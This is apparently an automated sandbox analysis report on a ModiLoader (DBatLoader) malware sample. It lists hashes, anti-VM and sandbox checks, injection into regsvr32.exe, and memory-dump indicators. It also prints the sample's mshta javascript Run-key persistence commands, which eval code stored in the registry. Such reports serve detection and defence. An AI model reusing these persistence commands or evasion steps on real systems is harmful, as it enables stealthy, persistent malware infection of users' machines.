Analysis
-
max time kernel
149s -
max time network
150s -
platform
windows7_x64 -
resource
win7-20240508-en -
resource tags
arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system -
submitted
22-05-2024 00:32
Static task
static1
Behavioral task
behavioral1
Sample
655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe
Resource
win10v2004-20240508-en
General
-
Target
655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe
-
Size
381KB
-
MD5
655a13e5ad90fb053a129e4990f5061f
-
SHA1
022f91b3c30e3aa525724f2ee9b16343f7236f7b
-
SHA256
950071b6a72d39ba894c1d06a3b1fa55f5e818c87b948005ef1c5dac47eeba3a
-
SHA512
a31f23b3567a5c0d6341ab7097ee3f4a7cf8a172e084e833fec67d6b4b574b142b0d58cff83e6161bb541894c15afb43a29531be6667244865c568a5eb196529
-
SSDEEP
6144:GUPvYuBcJhC0x4TOYfsJE4jTCQmuEYWs6z/zzUjfbcHmOjovGxYjrpztpww3JPZq:PPvYuBKhC0HYfsmy5n/6z/HSfwG6SjrW
Malware Config
Signatures
-
ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
ModiLoader Second Stage 41 IoCs
Processes:
resource yara_rule behavioral1/memory/2208-3-0x0000000000400000-0x0000000000465000-memory.dmp modiloader_stage2 behavioral1/memory/2208-5-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-7-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-6-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-9-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-8-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-12-0x0000000000050000-0x000000000011C000-memory.dmp modiloader_stage2 behavioral1/memory/2208-17-0x0000000000400000-0x0000000000465000-memory.dmp modiloader_stage2 behavioral1/memory/2616-20-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-24-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-23-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-22-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-21-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2616-25-0x00000000001B0000-0x000000000027C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-35-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-36-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-39-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-38-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-40-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-41-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-37-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-49-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-43-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-47-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-46-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-45-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-44-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-42-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2632-53-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2632-55-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2632-58-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2632-57-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2632-56-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2632-54-0x00000000001E0000-0x00000000002AC000-memory.dmp modiloader_stage2 behavioral1/memory/2644-59-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2644-60-0x0000000000140000-0x000000000020C000-memory.dmp modiloader_stage2 behavioral1/memory/2852-64-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2852-68-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2852-67-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2852-66-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 behavioral1/memory/2852-65-0x0000000000110000-0x00000000001DC000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:yBQwUSo39=\"yG4Q\";dY6=new%20ActiveXObject(\"WScript.Shell\");YPF2dcs1KG=\"aorkEeDMZ\";O1fRO=dY6.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\06ae49b16c\\\\b39a626a\");FW9owDhR=\"1oJOW4\";eval(O1fRO);cHn5oQj=\"zj\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2644 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:DYZ8zmgw=\"8T\";r0k=new%20ActiveXObject(\"WScript.Shell\");Ylukc5SL=\"J\";Qcz20G=r0k.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\06ae49b16c\\\\b39a626a\");qTZhFSLK1=\"n\";eval(Qcz20G);yeD1Psm8=\"3nN7yOLbKG\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:cmoni0K=\"qEcypfC38b\";Bx95=new%20ActiveXObject(\"WScript.Shell\");aR6liygO=\"kuEoysoY\";lS2MK=Bx95.RegRead(\"HKCU\\\\software\\\\06ae49b16c\\\\b39a626a\");WDvxV5D1t=\"d1cu\";eval(lS2MK);u6F4viDz=\"dhTyikv\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Processes:
regsvr32.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0" regsvr32.exe Set value (int) \REGISTRY\USER\S-1-5-21-2737914667-933161113-3798636211-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" regsvr32.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
regsvr32.exepid process 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe -
Suspicious behavior: MapViewOfSection 12 IoCs
Processes:
655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exeregsvr32.exeregsvr32.exepid process 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe 2616 regsvr32.exe 2616 regsvr32.exe 2616 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe 2644 regsvr32.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exeregsvr32.exeregsvr32.exedescription pid process target process PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2208 wrote to memory of 2616 2208 655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2616 wrote to memory of 2644 2616 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2632 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe PID 2644 wrote to memory of 2852 2644 regsvr32.exe regsvr32.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\655a13e5ad90fb053a129e4990f5061f_JaffaCakes118.exe"1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2208-8-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-12-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-0-0x0000000003620000-0x00000000038FF000-memory.dmpFilesize
2.9MB
-
memory/2208-3-0x0000000000400000-0x0000000000465000-memory.dmpFilesize
404KB
-
memory/2208-5-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-7-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-6-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-9-0x0000000000050000-0x000000000011C000-memory.dmpFilesize
816KB
-
memory/2208-2-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
-
memory/2208-1-0x00000000001F0000-0x00000000001F1000-memory.dmpFilesize
4KB
-
memory/2208-17-0x0000000000400000-0x0000000000465000-memory.dmpFilesize
404KB
-
memory/2616-25-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-19-0x0000000000CA0000-0x0000000000CA7000-memory.dmpFilesize
28KB
-
memory/2616-20-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-24-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-23-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-22-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-21-0x00000000001B0000-0x000000000027C000-memory.dmpFilesize
816KB
-
memory/2616-15-0x0000000000CA0000-0x0000000000CA7000-memory.dmpFilesize
28KB
-
memory/2632-55-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2632-53-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2632-54-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2632-56-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2632-57-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2632-58-0x00000000001E0000-0x00000000002AC000-memory.dmpFilesize
816KB
-
memory/2644-42-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-30-0x0000000000CA0000-0x0000000000CA7000-memory.dmpFilesize
28KB
-
memory/2644-37-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-49-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-43-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-47-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-46-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-45-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-44-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-34-0x0000000000CA0000-0x0000000000CA7000-memory.dmpFilesize
28KB
-
memory/2644-40-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-41-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-38-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-39-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-36-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-35-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-59-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2644-60-0x0000000000140000-0x000000000020C000-memory.dmpFilesize
816KB
-
memory/2852-64-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
-
memory/2852-68-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
-
memory/2852-67-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
-
memory/2852-66-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB
-
memory/2852-65-0x0000000000110000-0x00000000001DC000-memory.dmpFilesize
816KB